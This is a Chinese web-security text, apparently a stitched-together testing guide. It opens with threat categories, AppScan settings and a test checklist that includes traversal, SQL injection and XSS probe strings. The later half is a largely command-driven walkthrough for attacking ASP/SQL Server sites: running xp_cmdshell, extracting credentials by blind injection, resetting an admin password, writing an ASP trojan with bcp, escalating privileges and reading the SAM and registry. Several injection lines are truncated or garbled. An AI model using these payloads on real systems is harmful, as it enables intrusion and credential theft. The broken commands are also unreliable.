1、一、 Web 应用安全威胁分为如下六类:Authentication(验证) 用来确认某用户、服务或是应用身份的攻击手段。 Authorization(授权) 用来决定是否某用户、服务或是应用具有执行请求动作必要权限的攻击手段。 Client-Side Attacks(客户侧攻击)用来扰乱或是探测 Web 站点用户的攻击手段。 Command Execution(命令执行) 在 Web 站点上执行远程命令的攻击手段。 Information Disclosure(信息暴露) 用来获取 Web 站点具体系统信息的攻击手段。 Logical Attacks(逻辑性攻击) 用来扰乱或是探测 Web
2、应用逻辑流程的攻击手段二、 常见针对 Web 应用攻击的十大手段应用威胁 负面影响 后果跨网站脚本攻击 标识盗窃,敏感数据丢失 黑客可以模拟合法用户,控制其帐户。注入攻击 通过构造查询对数据库、LDAP 和其他系统进行非法查询。黑客可以访问后端数据库信息,修改、盗窃。恶意文件执行 在服务器上执行 Shell 命令 Execute,获取控制权。被修改的站点将所有交易传送给黑客不安全对象引用 黑客访问敏感文件和资源 Web 应用返回敏感文件内容伪造跨站点请求 黑客调用 Blind 动作,模拟合法用户 黑客发起 Blind 请求,要求进行转帐信息泻露和不正确的错误处理黑客得到详细系统信息 恶意的系统
3、检测可能有助于更深入的攻击被破坏的认证和 Session 管理Session token 没有被很好的保护 在用户推出系统后,黑客能够盗窃 session。不安全的木马存储 过于简单的加密技术导致黑客破解编密码 隐秘信息被黑客解密盗窃不安全的通讯 敏感信息在不安全通道中以非加密方式传送黑客可以通过嗅探器嗅探敏感信息,模拟合法用户。URL 访问限制失效 黑客可以访问非授权的资源连接 黑客可以强行访问一些登陆网页、历史网页。三、 Rational AppScan 功能简介Rational AppScan 同时提供了很多高级功能,帮助客户对复杂应用进行检测。支持的扫描配置有: Starting UR
4、L:起始 URL,制定被测应用的起始地址 Custom Error Pages:制定错误网页提高测试效率 Session IDs:管理测试过程中的 session Automatic Server Detection:自动检测应用所在的应用服务器、 web server、操作系统 Exclusion and Inclusion:制定哪些 Web 被扫描或者被排除,哪些文件类型不被扫描 Scan Limits:其他高级扫描限制,例如扫描次数限制等 Advanced:扫描的方式,是宽度扫描还是深度扫描 Communication Settings:对扫描中的延时、线程数量进行配置 Proxy Se
5、ttings:代理设置 vLogin/logout:对被测应用的登陆进行设置,可以采用录制回放的方式、也可以使用自动登陆的方式 configure a Test Policy: 配置测试测量,即想测试哪些漏洞。 四、 Web 安全体系测试一个完整的 Web 安全体系测试可以从部署与基础结构,输入验证,身份验证,授权,配置管理,敏感数据,会话管理,加密,参数操作,异常管理,审核和日志记录等几个方面入手。数据加密:某些数据需要进行信息加密和过滤后才能进行数据传输,例如用户信用卡信 息、用户登陆密码信息等。此时需要进行相应的其他操作,如存储到数据库、解密发送要用户电子邮箱或者客户浏览器。目前的加密算
6、法越来越多,越来越复杂,但一般数据加密的过程时可逆的,也就是说能进行加密,同时需要能进行解密!注:对登陆帐户和密码进行加密,可在后台数据库查看是否进行了加密。登录: 一般的应用站点都会使用登录或者注册后使用的方式,因此,必须对用户名 和匹配的密码进行校验,以阻止非法用户登录。在进行登陆测试的时候,需要考虑输入的密码是否对大小写敏感、是否有长度和条件限制,最多可以尝试多少次登录,哪些页面或者文件需要登录后才能访问/下载等。 超时限制:WEB 应用系统需要有是否超时的限制,当用户长时间不作任何操作的时候, 需要重新登录才能使用其功能。SSL: 越来越多的站点使用 SSL 安全协议进行传送。SSL
7、是 Security Socket Lauer(安全套接字协议层)的缩写,是由 Netscape 首先发表的网络数据安全传输协议。SSL 是利用公开密钥/私有密钥的加密技术。(RSA),在位于 HTTP 层和 TCP 层之间,建立用户与服务器之间的加密通信,确保所传递信息的安全性。SSL 是工作在公共密钥和私人密钥基础上的,任何用户都可以获得公共密钥来加密数据,但解密数据必须要通过相应的私人密钥。进入一个SSL 站点后,可以看到浏览器出现警告信息,然后地址栏的 http 变成 https,在做 SSL 测试的时候,需要确认这些特点,以及是否有时间链接限制等一系列相关的安全保护。服务器脚本语言:
8、脚本语言是常见的安全隐患。每种语言的细节有所不同。有些脚本允许访问根目录。其他只允许访问邮件服务器,但是经验丰富的黑客可以将服务器用户名和口令发送给他们自己。找出站点使用了哪些脚本语言,并研究该语言的缺陷。还要需要测试没有经过授权,就不能在服务器端放置和编辑脚本的问题。最好的办法是订阅一个讨论站点使用的脚本语言安全性的新闻组。 注:黑客利用脚本允许访问根目录的这个安全隐患特性攻击网站。这个网站包含了脚本代码(有允许访问根目录的特性)就可能有这个安全隐患。日志文件:在服务器上,要验证服务器的日志是否正常工作,例如 CPU 的占用率是否很高,是否有例外的进程占用,所有的事务处理是否被记录等。目录:
9、 WEB 的目录安全是不容忽视的一个因素。如果 WEB 程序或 WEB 服务器的处理不适当,通过简单的 URL 替换和推测,会将整个 WEB 目录完全暴露给用户,这样会造成很大的风险和安全性隐患。我们可以使用一定的解决方式,如在每个目录访问时有 index.htm,或者严格设定 WEB服务器的目录访问权限,将这种隐患降低到最小程度。注:每个目录访问时有 index.htm 目的:通过首页中的登陆验证功能进行访问权限控制。五、 web 安全测试的 checklist1. 不登录系统,直接输入登录后的页面的 url 是否可以访问 2. 不登录系统,直接输入下载文件的 url 是否可以下载,如输入
10、http:/url/download?name=file 是否可 以下载文件 file3. 退出登录后按后退按钮能否访问之前的页面4. ID/密码验证方式中能否使用简单密码。如密码标准为 6 位以上,字母和数字混合,不能包含 ID,连续的字母或数字不能超过 n 位5. 重要信息(如密码,身份证号码,信用卡号等)在输入或查询时是否用明文显示;在浏览器地址栏里输入命令 javascrpt:alert(doucument.cookie)时是否有重要信息;在 html 源码中能否看到重要信息6. 手动更改 URL 中的参数值能否访问没有权限访问的页面。如普通用户对应的 url 中的参数为 l=e,高级
11、用户对应的 url 中的参数为 l=s,以普通用户的身份登录系统后将 url 中的参数 e 改为 s 来访问本没有权限访问的页面7. url 里不可修改的参数是否可以被修改, 浏览器缓存:认证和会话数据不应该作为 GET 的一部分来发送,应该使用 POST8. 上传与服务器端语言(jsp、asp、php )一样扩展名的文件或 exe 等可执行文件后,确认在服务器端是否可直接运行9. 注册用户时是否可以以-, or 1=1 -等做为用户名10. 传送给服务器的参数(如查询关键字、url 中的参数等)中包含特殊字符(,and 1=1 -, and 1=0 -,or 1=0 -)时是否可以正常处理1
12、1. 执行新增操作时,在所有的输入框中输入脚本标签(alert(“) )后能否保存12. 在 url 中输入下面的地址是否可以下载:http:/url/download.jsp?file=C:windowssystem32driversetchosts,http:/url/download.jsp?file=/etc/passwd13. 是否对 session 的有效期进行处理14. 错误信息中是否含有 sql 语句、sql 错误信息以及 web 服务器的绝对路径等15. ID/密码验证方式中,同一个账号在不同的机器上不能同时登录16. ID/密码验证方式中,连续数次输入错误密码后该账户是否被
13、锁定17. 新增或修改重要信息(密码、身份证号码、信用卡号等)时是否有自动完成功能(在 form 标签中使用 autocomplete=off 来关闭自动完成功能18.Email Header Injection(邮件标头注入) Email Header Injection:如果表单用于发送 email,表单中可能包括 “subject”输入项(邮件标题), 我们要验证 subject 中应能 escape 掉“n”标识。 因为“ n”是新行,如果在 subject 中输入“helloncc:”,可能会形成以下Subject: hellocc: 如果允许用户使用这样的 subject,那他可
14、能会给利用这个缺陷通过我们的平台给其它用户发送垃圾邮件。19. Directory Traversal(目录遍历 )(1)如何进行目录遍历测试? 目录遍历产生的原因是:程序中没有过滤用户输入的“/”和“./ ”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。 测试方法:在 URL 中输入一定数量的“/”和“./ ”,验证系统是否 ESCAPE 掉了这些目录跳转符。(2)如何预防目录遍历?限制 Web 应用在服务器上的运行 进行严格的输入验证,控制用户输入非法路径20. exposed error messages(错误信息)(1)如何进行测试?首先找到一些错误页面,
15、比如 404,或 500 页面。 验证在调试未开通过的情况下,是否给出了友好的错误提示信息比如“你访问的页面不存在” 等,而并非曝露一些程序代码。(2)如何预防?测试人员在进行需求检查时,应该对出错信息进行详细查,比如是否给出了出错信息,是否给出了正确的出错信息。六、 跨站点脚本攻击测试要点1.确定站点及其功能 - 与开发人员和 PM 交流绘制一些简单的数据流图表,对站点上的页面及其功能进行描述。此时,可以安排一些与开发人员和项目经理的会议来建立威胁模型。在会议上尽可能对应用程序进行深入探讨。站点公开了 Web 服务吗?是否有身份验证表单?有留言板吗?有用户设置页面吗?确保列出了所有这些页面2
16、. 找出并列出所有由用户提供输入的点对站点地图进行进一步细化。我通常会为此创建一个电子表格。对于每个页面,列出所有查询字符串参数、cookie 值、自定义 HTTP 标头、POST 数据值和以其他形式传递的用户输入。不要忘记搜索 Web 服务和类似的 SOAP 请求,并找出所有允许用户输入的字段。分别列出每个输入参数,因为下面需要独立测试每个参数。这可能是最重要的一个步骤!如果阅读下面的电子表格,您会看到我已经在示例站点中找出了一大堆这样的东西。如 forwardURL 和 lang 这样的查询字符串。如 name、password 、msgBody 、msgTitle 和这样的 POST 数
17、据,甚至某些 Cookie 值。所有这些都是我们感兴趣的重要测试内容3. 认真思考并列出测试用例4. 开始测试并注意输出结果在查找漏洞的过程中,最重要的部分并不是您是否找到了漏洞。而是您是否真正知道究竟发生了哪些事情。对于 XSS,只需检查 HTML 输出并看看您输入的内容在什么地方。它在一个 HREF 标记中吗?是否在 IFRAME 标记中?它在 CLSID 标记中吗?在 IMG SRC 中吗?某些 Flash 内容的 PARAM NAME 是怎样的?我会检查所有这些情况,如果您对所输入内容的目的十分了解,可以调整您的测试来找出问题。这意味着您可能需要添加一个额外的封闭括号“”来让某个标记变
18、得完整,或者添加一个双引号来关闭标记内的一个元素。或者,您可能需要使用 URL 或 HTML 来编码您的字符,例如将双引号变为 %22 或 “。5. 这个站点看来防范比较严密。现在该怎么办呢?那么,也许您的简单测试用例 alert(hi) 并不能产生期望中的警告对话框。仔细想想这个问题并在可能的情况下与开发人员进行交流。也许他们对输入中的尖括号、单引号或圆括号进行了过滤。也许他们会过滤“scrpt”这个词。重新研究为何输入会产生这样的输出,并理解每个值(查询字符串、cookie、POST 数据)的作用。 “pageId=10”这样的查询字符串值可能对输出没有影响,因此不值得花费时间测试它。有时
19、,最好试着注入单个字符(例如尖括号、双引号标记或者圆括号) ,看看应用程序是否过滤这些字符。然后,便可以知道您面对的过滤级别究竟如何。接着,可以调整测试方法,对这些字符进行编码并重试,或者寻找其他注入办法。改变测试用例我恐怕无法充分对此进行说明:研究输入的值会输出什么样的 HTML 页面非常重要。如果它们不能产生输出,那么不要在它们上面浪费时间。如果可以,请进行研究,因为您需要根据输出对测试进行相应的修改。我使用了各种变化形式来找出能接受和显示脚本代码的参数。因为这涉及太多内容,因此在这里无法一一进行讨论,但是请务必注意以下几种情况:1.“alert(XSS)2.%22%273.“4.AK%2
20、2%20style%3D%22background:url(javascrpt:alert(%27XSS%27)%22%20OS%225.%22%2Balert(%27XSS%27)%2B%226.7.8.有许多变化形式可以尝试。关键在于了解程序究竟使用何种方式处理输入和显示输出页面。如同这些例子所展示的,常见的变化形式经常是在脚本代码前面加上 “”,以尝试封闭网站可能在输出中生成的标记。还可以对代码进行 URL 编码,尝试绕过服务器端的输入过滤功能。此外,因为尖括号“0 不仅可以判断是否是 SQL-SERVER,而还可以得到当前连接到数据库的用户名HTTP:/xxx.xxx.xxx/abc.
21、asp?p=YYexe . dbo.xp_cmdshell “copy c:winntsystem32cmd.exe c:inetpubscriptscmd.exe” 便制造了一个UNICODE 漏洞,通过此漏洞的利用方法,便完成了对整个计算机的控制(当然首选要知道 WEB 虚拟目录)。四、发现 WEB 虚拟目录只有找到 WEB 虚拟目录,才能确定放置 ASP 木马的位置,进而得到 USER 权限。有两种方法比较有效。一是根据经验猜解,一般来说,WEB 虚拟目录是:c:inetpubwwwroot;D:inetpubwwwroot; E:inetpubwwwroot 等。而可执行虚拟目录是:c
22、:inetpubscripts; D:inetpubscripts; E:inetpubscripts 等。二是遍历系统的目录结构,分析结果并发现 WEB 虚拟目录;先创建一个临时表:tempHTTP:/xxx.xxx.xxx/abc.asp?p=YY;create-接下来:(1)利用 xp_availablemedia 来获得当前所有驱动器,并存入 temp 表中:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert temp . ter.dbo.xp_availablemedia;-我们可以通过查询 temp 的内容来获得驱动器列表及相关信息(2)利用 xp_subd
23、irs 获得子目录列表,并存入 temp 表中:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(i . dbo.xp_subdirs c:;-(3)利用 xp_dirtree 获得所有子目录的目录树结构,并寸入 temp 表中:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;- 注意:1、以上每完成一项浏览后,应删除 TEMP 中的所有内容,删除方法是:HTTP:/xxx.xxx.xxx/abc.asp?p=YY;dele
24、te from temp;-2、浏览 TEMP 表的方法是:(假设 TestDB 是当前连接的数据库名)HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select topTestDB.dbo.temp )0 得到表 TEMP 中第一条记录 id 字段的值,并与整数进行比较,显然 abc.asp 工作异常,但在异常中却可以发现 id 字段的值。假设发现的表名是 xyz,则HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 id from . ere id not in(xyz)0 得到表 TEMP 中第二条记录 id 字段的
25、值。五、上传 ASP 木马所谓 ASP 木马,就是一段有特殊功能的 ASP 代码,并放入 WEB 虚拟目录的 Scripts 下,远程客户通过 IE 就可执行它,进而得到系统的 USER 权限,实现对系统的初步控制。上传 ASP 木马一般有两种比较有效的方法:1、利用 WEB 的远程管理功能许多 WEB 站点,为了维护的方便,都提供了远程管理的功能;也有不少 WEB 站点,其内容是对于不同的用户有不同的访问权限。为了达到对用户权限的控制,都有一个网页,要求用户名与密码,只有输入了正确的值,才能进行下一步的操作,可以实现对WEB 的管理,如上传、下载文件,目录浏览、修改配置等。因此,若获取正确的
26、用户名与密码,不仅可以上传 ASP 木马,有时甚至能够直接得到USER 权限而浏览系统,上一步的“发现 WEB 虚拟目录”的复杂操作都可省略。用户名及密码一般存放在一张表中,发现这张表并读取其中内容便解决了问题。以下给出两种有效方法。A、 注入法:从理论上说,认证网页中会有型如:select * from admin where username=XXX and password=YYY 的语句,若在正式运行此句之前,没有进行必要的字符过滤,则很容易实施 SQL 注入。如在用户名文本框内输入:abc or 1=1- 在密码框内输入:123 则 SQL 语句变成:select * from ad
27、min where username=abc or 1=1 and password=123 不管用户输入任何用户名与密码,此语句永远都能正确执行,用户轻易骗过系统,获取合法身份。B、猜解法:基本思路是:猜解所有数据库名称,猜出库中的每张表名,分析可能是存放用户名与密码的表名,猜出表中的每个字段名,猜出表中的每条记录内容。猜解所有数据库名称HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select count(*) from master.dbo.sysdatabases where name1 and dbid=6) 1 (name 字段是一个字符型的字段和数字比较
28、会出错),abc.asp 工作异常,可得到第一个数据库名,同理把 DBID 分别改成 7,8,9,10,11,12就可得到所有数据库名。以下假设得到的数据库名是 TestDB。猜解数据库中用户名表的名称猜解法:此方法就是根据个人的经验猜表名,一般来说,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts 等。并通过语句进行判断HTTP:/xxx.xxx.xxx
29、/abc.asp?p=YY and (select count(*) from TestDB.dbo.表名)0 若表名存在,则 abc.asp 工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。读取法:SQL-SERVER 有一个存放系统核心信息的表 sysobjects,有关一个库的所有表,视图等信息全部存放在此表中,而且此表可以通过 WEB 进行访问。 当 xtype=U and status0 代表是用户建立的表,发现并分析每一个用户建立的表及名称,便可以得到用户名表的名称,基本的实现方法是:HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select to
30、p 1 name from TestD . type=U and status0 )0 得到第一个用户建立表的名称,并与整数进行比较,显然 abc.asp 工作异常,但在异常中却可以发现表的名称。假设发现的表名是xyz,则HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 name from TestDB.dbo.sysobjectsfrom TestDB.dbo.admin)=X(X=1,2,3,4,5, n,username 为用户名字段的名称,admin 为表的名称),若 x 为某一值 i 且 abc.asp运行正常时,则 i 就是第一个用户
31、名的长度。如:当输入HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top . e) from TestDB.dbo.admin)=8 时 abc.asp 运行正常,则第一个用户名的长度为 8HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (sel . ascii(substring(username,m,1) from TestDB.dbo.admin)=n (m 的值在 1 到上一步得到的用户名长度之间,当m=1,2,3,时猜测分别猜测第 1,2,3,位的值;n 的值是 19、az、AZ 的 ASCII 值,也就是 1128 之间
32、的任意值;admin 为系统用户帐号表的名称),若 n 为某一值 i 且abc.asp 运行正常时,则 i 对应 ASCII 码就是用户名某一位值。如:当输入HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (sel . ascii(substring(username,3,1) from TestDB.dbo.admin)=80 时 abc.asp 运行正常,则用户名的第三位为 P(P 的 ASCII为 80);HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (sel . ascii(substring(username,9,1) from Test
33、DB.dbo.admin)=33 时 abc.asp 运行正常,则用户名的第 9 位为!(!的 ASCII为 80);猜到第一个用户名及密码后,同理,可以猜出其他所有用户名与密码。注意:有时得到的密码可能是经 MD5 等方式加密后的信息,还需要用专用工具进行脱密。或者先改其密码,使用完后再改回来,见下面说明。简单法:猜用户名用HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1 . o.admin where username1) , flag 是 admin 表中的一个字段,username 是用户名字段,此时abc.asp 工作异常,但能得到 U
34、sername 的值。与上同样的方法,可以得到第二用户名,第三个用户等等,直到表中的所有用户名。猜用户密码:HTTP:/xxx.xxx.xxx/abc.asp?p=YY and (select top 1update TestDB.dbo.admin set pwd= . where username=www;- ( 1 的 MD5 值为:AAABBBCCCDDDEEEF,即把密码改成 1;www 为已知的用户名)用同样的方法当然可把密码改原来的值。3、利用表内容导成文件功能SQL 有 BCP 命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一
35、行一行地输入一个 ASP 木马,然后用 BCP 命令导出形成 ASP 文件。命令行格式如下:bcp “select * from textfoo“ queryout c:inetpubwwwrootruncommand.asp c S localhost U sa P foobar (S参数为执行查询的服务器, U参数为用户名,P参数为密码,最终上传了一个 runcommand.asp 的木马) 六、得到系统的管理员权限ASP 木马只有 USER 权限,要想获取对系统的完全控制,还要有系统的管理员权限。怎么办?提升权限的方法有很多种:上传木马,修改开机自动运行的.ini 文件(它一重启,便死定
36、了);复制 CMD.exe 到 scripts,人为制造 UNICODE 漏洞;下载 SAM 文件,破解并获取 OS 的所有用户名密码;等等,视系统的具体情况而定,可以采取不同的方法。七、几个 SQL-SERVER 专用手段1、利用 xp_regread 扩展存储过程修改注册表xp_regread另一个有用的内置存储过程是 xp_regXXXX 类的函数集合(Xp_regaddmultistring,Xp_regdeletekey,Xp_regdeletevalue,Xp_regenumkeys,Xp_regenumvalues,Xp_regread,Xp_regremovemultistri
37、ng,Xp_regwrite)。攻击者可以利用这些函数修改注册表,如读取 SAM 值,允许建立空连接,开机自动运行程序等。如:exec xp_regread HKEY_LOCAL_MACHINE,SYSTEMCurrentControlSetServiceslanmanserverparameters, nullsessionshares 确定什么样的会话连接在服务器可用。exec xp_regenumvaluesHKEY_LOCAL_MACHINE,SYSTEMCurrentControlSetServicessnmpparametersvalidcommunities 显示服务器上所有 S
38、NMP 团体配置,有了这些信息,攻击者或许会重新配置同一网络中的网络设备。2、利用其他存储过程去改变服务器xp_servicecontrol 过程允许用户启动,停止服务。如:(exec masterxp_servicecontrol start,schedule exec masterxp_servicecontrol start,server)Xp_availablemedia 显示机器上有用的驱动器Xp_dirtree 允许获得一个目录树Xp_enumdsn 列举服务器上的 ODBC 数据源Xp_loginconfig 获取服务器安全信息Xp_makecab 允许用户在服务器上创建一个压缩
39、文件Xp_ntsec_enumdomains 列举服务器可以进入的域Xp_terminate_process 提供进程的进程 ID,终止此进程防护措施:服务器管理员:1、把 500:100 这个错误提示页面 C:/WINDOWS/Help/iisHelp/common/500-100.asp改成 C:/WINDOWS/Help/iisHelp/common/500.htm2、还应在 IIS 中为每个网站设置好执行权限,静态网站不能有“可执行”权限上传文件存放的目录执行权限设为“无”数据库管理员:配置数据库用户的权限,只给访问数据库的 web 应用功能所需的最低的权限。程序员:对用户提交的变量参数进行仔细的检查。到 http:/ SQL 注入的常用字符时,立即停止执行 ASP 并给出警告信息或转向出错页面给用户密码加密,比如用 MD5 加密,MD5 是没有反向算法,不能解密的。